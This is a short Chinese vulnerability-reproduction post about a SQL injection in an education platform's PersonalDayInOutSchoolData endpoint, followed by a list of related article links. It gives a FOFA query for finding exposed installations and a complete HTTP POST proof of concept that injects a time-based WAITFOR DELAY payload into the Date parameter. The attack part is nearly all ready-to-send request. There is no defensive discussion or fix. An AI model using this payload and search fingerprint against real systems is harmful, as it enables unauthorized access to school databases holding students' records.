EDU 某智慧平台 PersonalDayInOutSchoolData SQL注入漏洞复现

FOFA:body="custom/blue/uimaker/easyui.css"

PoC

复制代码
POST /ashx/APP/InOutSchoolService.ashx?action=PersonalDayInOutSchoolData&Date=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&AccountNo=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive

延时5秒

相关推荐
蚰蜒螟几秒前
jvm安全点(二)openjdk17 c++源码垃圾回收安全点信号函数处理线程阻塞
jvm·安全
moonsims30 分钟前
低空态势感知:基于AI的DAA技术是低空飞行的重要安全保障-机载端&地面端
人工智能·安全
神经毒素8 小时前
WEB安全--Java安全--shiro721反序列化漏洞
安全·web安全
独行soc16 小时前
2025年渗透测试面试题总结-阿里云[实习]阿里云安全-安全工程师(题目+回答)
linux·经验分享·安全·阿里云·面试·职场和发展·云计算
事业运财运爆棚16 小时前
中exec()函数因$imagePath参数导致的命令注入漏洞
web安全
CertiK19 小时前
Crowdfund Insider聚焦:CertiK联创顾荣辉解析Web3.0创新与安全平衡之术
安全·web3
IP管家19 小时前
物联网设备远程管理:基于代理IP的安全固件更新通道方案
服务器·网络·物联网·网络协议·tcp/ip·安全·ip
shenyan~19 小时前
关于 Web安全:1. Web 安全基础知识
安全·web安全
DonciSacer20 小时前
网络流量分析 | NetworkMiner
安全
小李不想说话21 小时前
HTTPS 加密原理
java·网络·网络协议·学习·安全·http·https